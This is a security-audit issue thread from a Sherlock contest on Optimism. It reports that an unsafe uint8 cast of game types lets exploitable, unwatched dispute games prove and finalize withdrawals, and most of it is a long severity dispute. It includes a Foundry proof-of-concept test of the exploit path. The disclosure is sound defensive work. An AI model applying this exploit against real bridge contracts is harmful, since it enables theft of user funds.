search

sherlock-audit / 2024-02-optimism-2024-judging

6 stars 4 forks source link

obront - Incorrect game type can be proven and finalized due to unsafe cast #84

Open sherlock-admin3 opened 8 months ago

sherlock-admin3 commented 8 months ago

obront

high

Incorrect game type can be proven and finalized due to unsafe cast

Summary

The gameProxy.gameType().raw() conversions used by OptimismPortal2 in the proving and finalization steps incorrectly casts the gameType to a uint8 instead of a uint32, which causes mismatched game types to be considered equivalent. In the event that a game is exploitable, this can be used to skirt around the off-chain monitoring to finalize an invalid withdrawal.

Vulnerability Detail

Each game can be queried for its gameType, which is compared to the current respectedGameType in the Portal to confirm the game is valid.

GameType is represented as a uint32, allowing numbers up to 2 ** 32 - 1.

type GameType is uint32;

However, when converting the GameType to an integer type in order to perform comparisons in the proving and finalization process, we unsafely downcase to a uint8:

function raw(GameType _gametype) internal pure returns (uint8 gametype_) {
    assembly {
        gametype_ := _gametype
    }
}

This means that for any oldGameType % 256 == X, any newGameType % 256 == X will be considered the same game type.

This has the potential to shortcut the safeguards to allow malicious games to be finalized.

As is explained in the comments, only games of the current respectedGameType will be watched by the off-chain challenger. This is why we do not allow games that pre-date the last update to be finalized:

// The game must have been created after respectedGameTypeUpdatedAt. This is to prevent users from creating // invalid disputes against a deployed game type while the off-chain challenge agents are not watching.

However, the watcher will not be watching games where gameType % 256 == respectedGameType % 256.

Let's imagine a situation where game type 0 has been deemed unsafe. It is well known that a user can force a DEFENDER_WINS state, even when it is not correct.

At a future date, when the current game type is 256, a user creates a game with gameType = 0. It is not watched by the off chain challenger. This game can be used to prove an invalid state, and then finalize their withdrawal, all while not being watched by the off chain monitoring system.

Proof of Concept

The following proof of concept can be added to its own file in test/L1 to demonstrate the vulnerability:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { Test } from "forge-std/Test.sol";
import "./OptimismPortal2.t.sol";

contract UnsafeDowncastTest is CommonTest {
    // Reusable default values for a test withdrawal
    Types.WithdrawalTransaction _defaultTx;
    bytes32 _stateRoot;
    bytes32 _storageRoot;
    bytes32 _outputRoot;
    bytes32 _withdrawalHash;
    bytes[] _withdrawalProof;
    Types.OutputRootProof internal _outputRootProof;

    // Use a constructor to set the storage vars above, so as to minimize the number of ffi calls.
    function setUp() public override {
        super.enableFaultProofs();
        super.setUp();

        _defaultTx = Types.WithdrawalTransaction({
            nonce: 0,
            sender: alice,
            target: bob,
            value: 100,
            gasLimit: 100_000,
            data: hex""
        });
        // Get withdrawal proof data we can use for testing.
        (_stateRoot, _storageRoot, _outputRoot, _withdrawalHash, _withdrawalProof) =
            ffi.getProveWithdrawalTransactionInputs(_defaultTx);

        // Setup a dummy output root proof for reuse.
        _outputRootProof = Types.OutputRootProof({
            version: bytes32(uint256(0)),
            stateRoot: _stateRoot,
            messagePasserStorageRoot: _storageRoot,
            latestBlockhash: bytes32(uint256(0))
        });

        // Fund the portal so that we can withdraw ETH.
        vm.deal(address(optimismPortal2), 0xFFFFFFFF);
    }

    function testWrongGameTypeSucceeds() external {
        // we start with respected gameType == 256
        vm.prank(superchainConfig.guardian());
        optimismPortal2.setRespectedGameType(GameType.wrap(256));

        // create a game with gameType == 0, which we know is exploitable
        FaultDisputeGame game = FaultDisputeGame(
            payable(
                address(
                    disputeGameFactory.create(
                        GameType.wrap(0), Claim.wrap(_outputRoot), abi.encode(uint(0xFF))
                    )
                )
            )
        );

        // proving works, even though gameType is incorrect
        vm.warp(block.timestamp + 1);
        optimismPortal2.proveWithdrawalTransaction({
            _tx: _defaultTx,
            _disputeGameIndex: disputeGameFactory.gameCount() - 1,
            _outputRootProof: _outputRootProof,
            _withdrawalProof: _withdrawalProof
        });

        // warp beyond the game duration and resolve the game
        vm.warp(block.timestamp + 4 days);
        game.resolveClaim(0);
        game.resolve();

        // warp another 4 days so withdrawal can be finalized
        vm.warp(block.timestamp + 4 days);

        // finalizing works, even though gameType is incorrect
        uint beforeBal = bob.balance;
        optimismPortal2.finalizeWithdrawalTransaction(_defaultTx);
        assertEq(bob.balance, beforeBal + 100);
    }
}

Impact

The user is able to prove and finalize their withdrawal against a game that is not being watched and is known to be invalid. This would allow them to prove arbitrary withdrawals and steal all funds in the Portal.

Code Snippet

https://github.com/sherlock-audit/2024-02-optimism-2024/blob/main/optimism/packages/contracts-bedrock/src/dispute/lib/LibUDT.sol#L117-L126

https://github.com/sherlock-audit/2024-02-optimism-2024/blob/main/optimism/packages/contracts-bedrock/src/L1/OptimismPortal2.sol#L260-L261

https://github.com/sherlock-audit/2024-02-optimism-2024/blob/main/optimism/packages/contracts-bedrock/src/L1/OptimismPortal2.sol#L497-L500

Tool used

Manual Review

Recommendation

- function raw(GameType _gametype) internal pure returns (uint8 gametype_) {
+ function raw(GameType _gametype) internal pure returns (uint32 gametype_) {
      assembly {
          gametype_ := _gametype
      }
}
smartcontracts commented 7 months ago

We see this as a valid medium severity issue

sherlock-admin4 commented 7 months ago

The protocol team fixed this issue in the following PRs/commits: https://github.com/ethereum-optimism/optimism/pull/10152

nevillehuang commented 7 months ago

Based on scope highlighted below (issue exists and affects portal contract, which is a non-game contract) and sherlock scoping rules

https://docs.google.com/document/d/1xjvPwAzD2Zxtx8-P6UE69TuoBwtZPbpwf5zBHAvBJBw/edit

  1. In case the vulnerability exists in a library and an in-scope contract uses it and is affected by this bug this is a valid issue.

I believe this is a medium severity issue given the following constraints:

zobront commented 7 months ago

Escalate

I believe this issue should be judged as High Severity.

The purpose of this contest was to examine the safeguards that could lead to the catastrophic consequences of having an invalid fault proof accepted. We were given the constraints of assuming the game is buggy. This means that (a) none of those issues were accepted, but also that (b) issues that would arise IF the system were very buggy are valid.

This is the only issue in the contest that poses this extreme risk.

While it has the condition that 255 other games are created, based on the assumption that the game is buggy, it doesn't seem out of the question that a large number of additional game types would need to be deployed. This is the only requirement for this issue to be exploitable (counter to what the judge mentioned above), because Optimism's off chain watcher only watches the currently active game).

More importantly, in the event that this happens, the consequences are catastrophic. A game that is (a) not being watched and (b) known to be buggy, is accepted as valid (both in the proving step of withdrawal and the finalization step of withdrawal).

This leads to a very real, very extreme risk of a fraudulent withdrawal getting through the system.

With the constraints of the contest in mind (assuming the game is buggy), as well as the potential billions of dollars of lost funds that could occur, I believe this is the exact kind of issue that was crucial to find, and clearly fits the criteria for High Severity.

sherlock-admin2 commented 7 months ago

Escalate

I believe this issue should be judged as High Severity.

The purpose of this contest was to examine the safeguards that could lead to the catastrophic consequences of having an invalid fault proof accepted. We were given the constraints of assuming the game is buggy. This means that (a) none of those issues were accepted, but also that (b) issues that would arise IF the system were very buggy are valid.

This is the only issue in the contest that poses this extreme risk.

While it has the condition that 255 other games are created, based on the assumption that the game is buggy, it doesn't seem out of the question that a large number of additional game types would need to be deployed. This is the only requirement for this issue to be exploitable (counter to what the judge mentioned above), because Optimism's off chain watcher only watches the currently active game).

More importantly, in the event that this happens, the consequences are catastrophic. A game that is (a) not being watched and (b) known to be buggy, is accepted as valid (both in the proving step of withdrawal and the finalization step of withdrawal).

This leads to a very real, very extreme risk of a fraudulent withdrawal getting through the system.

With the constraints of the contest in mind (assuming the game is buggy), as well as the potential billions of dollars of lost funds that could occur, I believe this is the exact kind of issue that was crucial to find, and clearly fits the criteria for High Severity.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

guhu95 commented 7 months ago

Three additional points to support the escalation in favor of high:

  1. There isn't a constraint of 256 prior games due to use of non-sequential game types.
  2. DoS impact that is caused by the mitigation actions qualifies for high severity.
  3. Off-chain monitoring for this issue is not plausible without prior knowledge of the issue.

1. Games types are not sequential

"- At least 256 games must exist in a single game type"

"While it has the condition that 255 other games are created"

This appears to be neither a constraint nor a condition:

  1. setImplementation does not require sequential game type values.
  2. The 3 already defined GameTypes are not sequential: 0, 1, and 255, and all are configured in the same factory during deployment.
  3. The further use of non-sequential game types is highly likely due to "namespacing" via higher order bits, as is already done with predeploy addresses (0x42...01), and with their implementation addresses (0xc0de...01) etc. This kind of namespacing will result in many exploitable collisions.

2. The DoS impact of mitigation qualifies as high

...to pause the system and update the respected game type if a game resolves incorrectly.

Switching the respected game type pauses the bridge for a significant amount of time qualifying as a DoS issue for the valid withdrawals delayed by the mitigation.

The DoS impact for a valid withdrawal that would otherwise be finalizable is well over one week:

  1. Off-chain monitoring needs to detect the suspicious WithdrawalProven that was not expected. The issue needs to be validated to require pausing (SLA of 24 hours).
  2. A new implementation of the dispute game, with a new game type value, and the new anchor registry (which are immutable) will need to be deployed.
  3. The factory will need to be updated by the owner (SLA of 72 hours) to include the new implementation.
  4. The respected game type for the portal would need to be updated by guardian (SLA of 24 hours).
  5. New dispute games will need to be created by proposers for the withdrawals backlog caused by the delays.
  6. Only after all these steps the re-proving for previously valid withdrawals for previously valid games can be restarted, and would require waiting at least 7 days from the point of unpausing.

Because this blocks all cross-chain interactions on the bridge for a prolonged period of time, and delays message passing, it blocks all cross-chain protocols operating across this bridge (including their time-sensitive operations) and not only locks up funds.

3. Off-chain monitoring is conditional on knowing of this issue

  • This issue doesn't bypass the airgap/Delayed WETH safety net, so can still be monitored off-chain to trigger a fallback mechanism

While it is theoretically possible to monitor for this off-chain, it is unlikely to result in this action without knowledge of this vulnerability. This is because a creation of new instance of an old game, that is no longer "respected" by the portal, should not raise cause for concern (if the issue is unknown at that point).

trust1995 commented 7 months ago

Escalate

Firstly, the finding is brilliant and extremely well noticed by the participants. In my mind, the finding falls under Low severity, with the reasoning below:

sherlock-admin2 commented 7 months ago

Escalate

Firstly, the finding is brilliant and extremely well noticed by the participants. In my mind, the finding falls under Low severity, with the reasoning below:

  • As far as devs are concerned, there are a maximum of 256 game types. The bug is an unsynchronized view between the underlying structure and the definition of GameType as uint32. All evidence points to the fact Optimism did not plan to make use of over 256 game types.
  • From a practical standpoint, even if over 256 game types were planned to be supported, to get to such a high amount of different game types is extremely unlikely (as of now, three are planned). The odds of the architecture not getting refactored, closing the issue, by the time 256 game types are needed, I estimate to be under a thousandth of a percent.
  • For there to be an impact, the following must hold:
  • A new, vulnerable game type must be defined (highly hypothetical) after 256 game types.
  • It's encoding suffix must line up with the respectedGameId set by the admin
  • All honest challengers must not look at the vulnerable game type, despite the fact that challenging it is +EV (they are guaranteed to pick up the attacker's bond if the claim is invalid)
  • The airgap is not bypassed - At any the guardian is able to blacklist the game and make it unfinalizable. This reason caused for dozens of issues in this contest to be invalidated, and not applying it for this bug is inconsistent and shows unsound logic.

The escalation could not be created because you are not exceeding the escalation threshold.

You can view the required number of additional valid issues/judging contest payouts in your Profile page, in the Sherlock webapp.

guhu95 commented 7 months ago

@trust1995 the main argument you present (sequential game types constraint on likelihood) is refuted by the evidence in my message above yours (see "1. Games types are not sequential")

Would you mind specifying what part of the reasoning or evidence you agree and disagree with?

There are more details and links above, but for your convenience these are: 1. Setter doesn't require sequential numbers. 2. The three existing games are non-sequential (1, 2, 255) and are all added to the factory on deployment. 3. Namespacing via higher bits is already prevalent in the codebase and makes this a highly probable scenario.

trust1995 commented 7 months ago

The game types defined below follow a common pattern where the upper value is set as a placeholder for a safe non-production value. It's clearly not meant to assume they do skipping as a policy, and any experienced developer can confirm the intention is to keep running from 0,1, up to 255.

library GameTypes {
    /// @dev A dispute game type the uses the cannon vm.
    GameType internal constant CANNON = GameType.wrap(0);
    /// @dev A permissioned dispute game type the uses the cannon vm.
    GameType internal constant PERMISSIONED_CANNON = GameType.wrap(1);
    /// @notice A dispute game type that uses an alphabet vm.
    ///         Not intended for production use.
    GameType internal constant ALPHABET = GameType.wrap(255);
}

This is further confirmed by their docs which outline the intended structure of the GameID:

/// @notice A `GameId` represents a packed 1 byte game ID, an 11 byte timestamp, and a 20 byte address.
/// @dev The packed layout of this type is as follows:
/// ┌───────────┬───────────┐
/// │   Bits    │   Value   │
/// ├───────────┼───────────┤
/// │ [0, 8)    │ Game Type │
/// │ [8, 96)   │ Timestamp │
/// │ [96, 256) │ Address   │
/// └───────────┴───────────┘

It's very hard to look at these points of evidence and think there is any intention to have more than 256 game types to be played. I realize the issue will be heavily debated since a lot of money is on the line, so throwing this quote which summarizes escalations in a nutshell:

“It is difficult to get a man to understand something, when his salary depends on his not understanding it.” - Upton Sinclair

guhu95 commented 7 months ago

the fact Optimism did not plan to make use of over 256 game types

any intention to have more than 256 game types to be played

the intention is to keep running from 0,1, up to 255

The project clearly decided (before this contest) that game types values higher than 256 are needed. This is easy to see in these facts:

  1. They've previously (in Jan) refactored GameType from uint8 to uint32, leaving no room for doubt on this aspect.
  2. They've fixed the vulnerability as recommended instead of switching back to uint8.
  3. They've accepted the finding as valid.

The team's intention (and explicit previous switch) to use uint32 over uint8 clearly shows the likelihood of using game types with values > 255. This removes this incorrectly considered constraint.

This finding justifies high severity for both the unconditionally broken key safety mechanism of respectedGameType allowing forged withdrawals, and the prolonged bridge DoS which would result from its mitigation.

MightyFox3 commented 7 months ago

Issues predicted to arise from future integrations or updates, which aren't documented in the current documentation or README, are not considered valid. For instance, although the audit currently includes only three game types, even if the number were to exceed 255 in future implementations, such scenarios are categorized under future integrations.

Future issues: Issues that result out of a future integration/implementation that was not mentioned in the docs/README or because of a future change in the code (as a fix to another issue) are not valid issues.

Referencing the Optimism official dispute game documents, the game type is clearly defined as a uint8. This definition does not suggest any future expansion beyond 255 game types, thereby rendering any inconsistencies between the code and documents as minor and of low severity.

bemic commented 7 months ago

The previous comment by @guhu95 seems to be a sufficient counterargument. Nevertheless, the fact that a 2-day-old github profile is part of the discussion is interesting.

trust1995 commented 7 months ago

The previous comment by @guhu95 seems to be a sufficient counterargument. Nevertheless, the fact that a 2-day-old github profile is part of the discussion is interesting.

You really will do anything to get the last answer in a thread, even with 0 content to add except cringeworthy ad-hominem.

bemic commented 7 months ago

Pardon, let me clarify.

I do not find the argument "future integration/implementation/code change" to be related. The problem stems from the current state of the codebase, where no changes are necessary.

As mentioned, few months ago the team made a very specific change to the code using a PR called "Bump GameType size to 32 bits", where they changed the type from uint8 to uint32. This clearly indicates that a number > 255 is expected.

It is important to note again, that this does not necessarily mean more than 255 games. Larger type can be used to encode different game types more categorically.

You correctly pointed out that the documentation contains uint8. However, the documentation cannot be taken as a source of truth in cases like this one. Otherwise, projects can describe the correct and expected behavior in their documentation and use the argument "inconsistencies between code and documentation" as a reason to mark every problem as Low.

guhu95 commented 7 months ago

Regarding:

Issues predicted to arise from future integrations or updates, which aren't documented in the current documentation or README, are not considered valid.

First, the game type is an argument of the both the game and the factory, so can have any value depending on usage - so all uint32's possible 4294967296 values are fully in scope, and not only the specific 3 values. It's uint32, not an enum.

Second, even if it was an enum, in this case the README explicitly allows "future integrations issues" for OptimismPortal2:

Should potential issues, like broken assumptions about function behavior, be reported if they could pose risks in future integrations, even if they might not be an issue in the context of the scope? If yes, can you elaborate on properties/invariants that should hold?
Yes, but this should be limited to the OptimismPortal2 contract. Contracts other than the OptimismPortal2 contract are not intended for external integrations and risks for future integrations into these contracts will likely not be considered valid.

trust1995 commented 7 months ago

You correctly pointed out that the documentation contains uint8. However, the documentation cannot be taken as a source of truth in cases like this one. Otherwise, projects can describe the correct and expected behavior in their documentation and use the argument "inconsistencies between code and documentation" as a reason to mark every problem as Low.

We've seen two strong points of evidence for source of truth - the in-code documentation of GameType and the docs page. On the other hand we see a commit bumping GameType to uint32, without adding any game types. It seems speculative to infer they plan to use larger values, contest rules state we need to give project the assumption of competence in cases like these. For impact to occur, the following has to occur:

First, the game type is an argument of the both the game and the factory, so can have any value depending on usage - so all uint32's possible 4294967296 values are fully in scope, and not only the specific 3 values. It's uint32, not an enum.

Nope, not anything that can be misconfigured by an admin can be viewed as in-scope. That's an indefensible statement which, if correct, would inflate any contest by dozens of useless findings.

nevillehuang commented 7 months ago
  1. It is not impossible to ever reach over 255 gametypes, given any possible incorrect resolution logic will also force a game type upgrade, however I believe the likelihood is low. Since the root cause is in a non-game contract, based on agreed upon scope and low likelihood, I believe medium severity is appropriate, as no safety mechanism is bypassed.


  1. I don't think we can assume the behavior of off-chain mechanisms here that act as a safety mechanism, since it is explicitly mentioned as out of scope and that such scenarios will always be monitored comprehensively.

Off-chain mechanisms exist as part of the system but are not in scope for this competition. Assume that comprehensive monitoring exists that will detect most obviously detectable malicious activity.

zobront commented 7 months ago

@nevillehuang Making sure you've seen this comment from OptimismPortal2:

// The game must have been created after respectedGameTypeUpdatedAt. This is to prevent users from creating // invalid disputes against a deployed game type while the off-chain challenge agents are not watching.

You should check with the Optimism team about this if you're unclear. This situation is explicitly not being watched, and therefore is the exact kind of bypass this whole contest was designed to detect.

If they agree that this bypasses the safety mechanism, I can't see how this could be anything except High Severity.

guhu95 commented 7 months ago

@nevillehuang in addition to the above consideration of off-chain watchers, please also consider the DoS impact of mitigation described above in https://github.com/sherlock-audit/2024-02-optimism-2024-judging/issues/84#issuecomment-2073880067.

I am no expert on Sherlock rules, but to me the DoS impact appears to also qualify for high severity.

MightyFox3 commented 7 months ago

  1. It is not impossible to ever reach over 255 gametypes, given any possible incorrect resolution logic will also force a game type upgrade, however I believe the likelihood is low. Since the root cause is in a non-game contract, based on agreed upon scope and low likelihood, I believe medium severity is appropriate, as no safety mechanism is bypassed.

  2. I don't think we can assume the behavior of off-chain mechanisms here that act as a safety mechanism, since it is explicitly mentioned as out of scope and that such scenarios will always be monitored comprehensively.

Off-chain mechanisms exist as part of the system but are not in scope for this competition. Assume that comprehensive monitoring exists that will detect most obviously detectable malicious activity.

Only three games are currently implemented, even though there are over 255 game types planned for the future. This does not apply to the existing codebase. Thank you.

guhu95 commented 7 months ago
  1. It is not impossible to ever reach over 255 gametypes, given any possible incorrect resolution logic will also force a game type upgrade, however I believe the likelihood is low. Since the root cause is in a non-game contract, based on agreed upon scope and low likelihood

@nevillehuang since it also might have been lost in the long discussion, I'd like to point out again the fact the Optimism explicitly decided to switch from uint8 to uint32. Would you not agree that this directly establishes the likelihood as likely? Why would they switch from uint8 to uint32 if they didn't consider it necessarily needed and therefore likely?

Furthermore, as any value above max uint8 may trigger the bug, any "next" game can cause this, without having to go through 255 game types before that.

Please reconsider your view of the likelihood of a game type with value > 255, especially given Optimism's explicit switch away from uint8.

To sum up, I see three independent arguments for high being presented:

  1. Possible bypass of safeguards as documented by the team, and pointed out in https://github.com/sherlock-audit/2024-02-optimism-2024-judging/issues/84#issuecomment-2081733431
  2. The likelihood argument discussed throughout the issue, but mostly summed up in https://github.com/sherlock-audit/2024-02-optimism-2024-judging/issues/84#issuecomment-2078702993 (and in the current comment)
  3. Severe and prolonged DoS due to mitigation as presented in https://github.com/sherlock-audit/2024-02-optimism-2024-judging/issues/84#issuecomment-2073880067
nevillehuang commented 7 months ago

@guhu95

This depends on 255 distinct unique gametype, NOT 255 FDG games of the same type. My understanding is that to reach this point, an additional 250+ game types must have been introduced from new game types or game type switches (such as due to resolution bug logic or any other game bug). The assumptions of sequential/non-sequential gaming Ids can go both ways.

I think the severity here comes down to whether or not the off-chain watching mechanism is bypassed, which seems to be so as indicated by code comments here implying so. There is conflicting statements per contest details stated here, that states off-chain mechanisms are out of scope and is assumed to be comprehensive enough. If the off-chain mechanism is confirmed to be bypassed, then I agree with high severity.

guhu95 commented 7 months ago

@nevillehuang

This depends on 255 distinct unique gametype

My understanding is that to reach this point, an additional 250+ game types must have been introduced

Please help me understand why all of 2..254 must be assumed to be used before using any of the 256..4294967295 values.

  1. There's no requirement in the code for sequential game types.
  2. The existing code deploys the factory with 3 types that are already non sequential: 0, 1, 255.
  3. A value like 0x4200, 0x1000 or 0x42000001, can be the very next game type to be used. Such semantic "versioning" or "namespacing" is both highly practical (reduces chances of errors) and already common (OP predeploys, chainIds, opcodes).
  4. If "using up" all first 256 games types would be the anticipated approach, there would be little need to deliberately switch from uint8 to uint32.

Using all of 0..255 before ever touching the 256..4294967295 range seems like the least likely scenario. It's like having a huge fridge, but insisting to keep cramming everything into it's tiniest compartment (of just 0.0000059% of available space).

nevillehuang commented 7 months ago

@guhu95 I can see your point, I just believe it has no relevance to considering the issues severity, and that the focus should be on whether the safety mechanisms are bypassed or not.

trust1995 commented 7 months ago

I think the severity here comes down to whether or not the off-chain watching mechanism is bypassed, which seems to be so as indicated by code comments here implying so. There is conflicting statements per contest details stated here, that states off-chain mechanisms are out of scope and is assumed to be comprehensive enough. If the off-chain mechanism is confirmed to be bypassed, then I agree with high severity.

The statements are not conflicting. The rules state very clearly that off-chain monitoring is OOS and assumed trustable. Airgaps must therefore come from the code itself. The comment linked to explains an added validation step in the code, which is not bypassed. I would appreciate answers to the detailed arguments raised here.

0xjuaan commented 7 months ago

The following comments (referred to by @trust1995 previously) clearly state that the gameId will only be represented by 1 byte (the first 8 bits of the uint32). From that, it can be concluded that the protocol does not intend to have more than 256 different game types.

Based on this documentation provided, casting from uint32 to uint8 is a safe and correct way to obtain the gameId.

Doesn't this clearly make the submission invalid? Please let me know if I am missing something.

Me and a lot of other people would have submitted this issue if it wasn't for the following documentation in DisputeTypes.sol:

image

bemic commented 7 months ago

.. gameId will only be represented by 1 byte (the first 8 bits of the uint32). .. casting from uint32 to uint8 is a safe and correct way to obtain the gameId.

I see one fact wrong in your comment @0xjuaan. GameId is bytes32 (256 bits) not uint32 (32 bits). The casting is performed on GameType which is uint32.

We can see in the PR with the fix that casting and this part of in-code documentation was updated:

[0, 32) Game Type 
[32, 96) Timestamp
0xjuaan commented 7 months ago

Oh ok yeah that makes sense (I got GameId and GameType mixed up). This is a great finding in that case!

thanks @bemic for clarifying

guhu95 commented 7 months ago

@nevillehuang the last part of that README sentence is important for this discussion:

Assume that comprehensive monitoring exists that will detect most obviously detectable malicious activity.

I understand "most obviously detectable" to mean that monitoring should be assumed thorough and reasonably scoped, but NOT all-seeing and all-validating.

This "most obviously detectable" also resolves the conflict with the "while the off-chain challenge agents are not watching" comment. It presumes "blindspots", like monitoring "all games all the time", that require on-chain logic, which was the focus of the contest, and which this bug thoroughly breaks.

To me this bug's impact is highly non-obvious and so has an unacceptable risk of bypassing the safety measures.

Evert0x commented 7 months ago

Let me state some of the facts that this discussion highlighted

IF the game types are sequential, 250+ new game types must be created before the bug gets triggered. ELSE, the game types are not sequential; the bug could trigger when the next game type is created.

In both scenarios, the bug is only activated by a specific external condition, introducing new game type(s). This trigger condition is why I believe Medium severity should be assigned.

Also, for the record

At the time of the audit, the following information was NOT KNOWN:

The following information was KNOWN

zobront commented 7 months ago

@Evert0x I'm not sure how you think about likelihood vs severity, but for what it's worth, I see this as:

1) Agree that it's not extremely likely. I agree with @guhu95 that it is a clear possibility based on the Optimism team's actions, but clearly isn't something that would immediately be vulnerable.

2) But the purpose of this contest is to make sure the safeguards are solid against all possible risks with the games, and all the external conditions required for this to happen would come from games having issues. If this contest said "assume games can be exploited" (which is what disqualified so many other issues), that is the only assumption needed for this to be vulnerable.

3) The outcome is not just "bad" but catastrophic: all $1.2 billion ETH could be stolen from the OptimismPortal (not including ERC20s in the Optimism bridge, plus all assets bridged to Base, Blast, etc if they follow this upgrade).

trust1995 commented 7 months ago
  1. If this contest said "assume games can be exploited" (which is what disqualified so many other issues), that is the only assumption needed for this to be vulnerable.

Yet at the same breath, you don't bypass the airgap, which disqualified so many other issues. Yes you can make the argument that off-chain setups would not necessarily detect it, but I think that's a diversion tactic because since the dawn of security contests the scope was strictly on-chain security, which remains intact.

zobront commented 7 months ago

The airgap would be bypassed and all the funds from the bridge would be vulnerable.

I’m not going to play definition games here. I’m talking about what would happen in reality with users funds.

On Thu, May 2, 2024 at 10:52 AM Trust @.***> wrote:

  1. If this contest said "assume games can be exploited" (which is what disqualified so many other issues), that is the only assumption needed for this to be vulnerable.

Yet at the same breath, you don't bypass the airgap, which disqualified so many other issues. Yes you can make the argument that off-chain setups would not necessarily detect it, but I think that's a diversion tactic because since the dawn of security contests the scope was strictly on-chain security, which remains intact.

— Reply to this email directly, view it on GitHub https://github.com/sherlock-audit/2024-02-optimism-2024-judging/issues/84#issuecomment-2090865347, or unsubscribe https://github.com/notifications/unsubscribe-auth/ABL3ULEGKDC4LXLA4GJZCFLZAJOKBAVCNFSM6AAAAABFXP4F72VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDAOJQHA3DKMZUG4 . You are receiving this because you were mentioned.Message ID: @.*** com>

guhu95 commented 7 months ago

At the time of the audit, the following information was NOT KNOWN:

  • If the new game types are going to be deployed in a sequential way

In my understanding, there is overwhelming evidence for non-sequential, so it was "known" at the time of the audit (and was detailed in my duplicate). Forgive me for reiterating that evidence:

  1. No requirement in the code.
  2. Exiting games already non sequential: 0, 1, 255.
  3. Values like 0x4200, 0x1000 or 0x42000001, are frequently used in practice. This semantic "versioning" or "namespacing" is both highly practical (reduces chances of errors) and already common (OP predeploys, chainIds, opcodes).
  4. If "sequential" would be the anticipated approach, there would be no need to switch from uint8 to uint32.

By analogy, "sequential", is like after upgrading to a huge new fridge, insisting to keep cramming everything into it's tiniest compartment (of just 0.0000059% of available space). It is overwhelmingly implausible.

Given this evidence, non-sequential must be assumed, therefore is not an external condition, but the default assumption. Any new game type with last byte 0x00, 0x01, or 0xff will collide with the existing ones.

@Evert0x

I propose to amend the "known facts" like so:

  1. New game types are certain to be used. The current game implementation is not final - it's assumed WIP at the time of the audit (to the point of being OOS), and the only way to use a new game implementation is via game types.

  2. The game types are overwhelmingly likely to be non-sequential.

Evert0x commented 7 months ago

IV. How to identify a high issue:

  1. Definite loss of funds without (extensive) limitations of external conditions.

This is the requirement for high. It's clear that this issue requires external conditions to materialize.

I don't disagree with the points you listed, but I don't see it as an argument to assign High Severity.

zobront commented 7 months ago

@Evert0x Just to make sure I understand your point: In a contest where the explicit instructions were to assume that games could be broken, where any time a game is broken it must be incremented by at least 1, you think it's a "extensive" limitation that 256 games are reached?

I'm not valuing the fact that the hack is in the billions of dollars at all (which obviously should be weighted), but just on the definition above, I'm not positive I understand your disagreement?

guhu95 commented 7 months ago

@Evert0x

I don't disagree with the points you listed, but I don't see it as an argument to assign High Severity.

Thanks for recognizing my arguments. However, if you do agree with that reasoning, it directly leads to these conclusions: 1) game types will definitely be updated; 2) they definitely be updated such that the issue will happen after only a handful of updates (between 1 and "a few"):

One may choose a different P(jump) and different bumps-in-first-year , but with 1 - [1 - P(jump)]^(bumps-in-first-year) it's very difficult to justify numbers that will result in anything corresponding to "extensive limitation".

This not even considering that this can affect the OP stack (and not just Optimism), so affects up to already 19 (!?) rollups in its first year (with ~19B TVL). This multiplies the probability by the number of OP Stack rollups using this system.

nevillehuang commented 6 months ago

This is information from the op handbook

Off-chain monitoring can observe FaultDisputeGame contract resolutions and trigger a fallback mechanism to pause the system and update the respected game type if a game resolves incorrectly.

The issue here is highlighting a possible bypass in the off-chain monitoring mentioned above because of a code comment highlighted of how it is presumably supposed to work. But the contest details stated it is OOS.

Off-chain mechanisms exist as part of the system but are not in scope for this competition.

My opinion is since there is still an issue arising from an inscope root cause that results in incorrect resolution and thus finalization of withdrawals but off-chain monitoring mechanism is assumed to be comprehensive and not be bypassed, medium severity is appropriate since no airgap/safety mechanism is assumed to be breached

zobront commented 6 months ago

@nevillehuang I would agree with this if the issue discovered was in the off chain mechanisms (ie if the issue highlighted a fix that should be made to the offchain mechanisms).

But that is not the case. The off chain piece behaves perfectly appropriately and exactly as documented. I am pointing out no fault in that part of the system.

What I am pointing out is that as a result of this CORRECT behavior, the on chain contract is highly vulnerable (airgap bypassed).

off-chain monitoring mechanism is assumed to be comprehensive

I don't think this is right. When a part of the system is marked as out of scope, it means it is assumed to act correctly and according to its specifications. It doesn't mean it is assumed to magically act in ways that it actually doesn't to save the day when the in scope system has an error.

nevillehuang commented 6 months ago

@zobront How would the airgap be bypassed when the off-chain monitoring is presumed to have caught the incorrect resolution, where like you mentioned it means the off-chain monitoring mechanism is assumed to have acted correctly and according to its specifications?

guhu95 commented 6 months ago

The full scope quote is this (emphasis mine):

Assume that comprehensive monitoring exists that will detect MOST OBVIOUSLY detectable malicious activity.

It's "specification" is not that it will catch anything and everything.

I this case, it will likely NOT be monitoring the games that are NO LONGER being used, since this is obviously not needed. Proving a withdrawal using a game that is no longer being used being the root cause of the issue here.

This is further supported by this code comment that assumes games that are not currently being used are not being monitored.

// The game must have been created after respectedGameTypeUpdatedAt. This is to prevent users from creating // invalid disputes against a deployed game type while the off-chain challenge agents are not watching.

zobront commented 6 months ago

Its specification is that it accurately monitors the currently set game type and catches all exploits in that game type.

It does that action correctly, so there is no issue with the off chain mechanism.

But because of the on chain issue discovered, the airgap will be bypassed (because the off chain mechanism is not watching the other game type).

My point is that since the off chain mechanism is out of scope, we should NOT reward issues in this mechanism. But this doesn’t mean we can assume it has different behavior that magically solves all on chain issues.

To summarize: If we assume the off chain mechanism works exactly as specified (which is reasonable since it’s out of scope), then the on chain issue will bypass the airgap, so that’s how it would be most fair to judge.

On Tue, May 7, 2024 at 3:58 PM 0xnevi @.***> wrote:

@zobront https://github.com/zobront How would the airgap be bypassed when the off-chain monitoring is presumed to have caught the incorrect resolution, where like you mentioned it means the off-chain monitoring mechanism is assumed to have acted correctly and according to its specifications?

— Reply to this email directly, view it on GitHub https://github.com/sherlock-audit/2024-02-optimism-2024-judging/issues/84#issuecomment-2099299989, or unsubscribe https://github.com/notifications/unsubscribe-auth/ABL3ULAFT2MO5GJTVSFCBFLZBE6ATAVCNFSM6AAAAABFXP4F72VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDAOJZGI4TSOJYHE . You are receiving this because you were mentioned.Message ID: @.*** com>

trust1995 commented 6 months ago

Discussing an airgap in an off-chain context is useless once those components were defined as OOS. The only source of truth for airgap / not an airgap is the on-chain state.

This discussion is orthogonal to the 256 game requirement, which by itself is an extensive limitation.

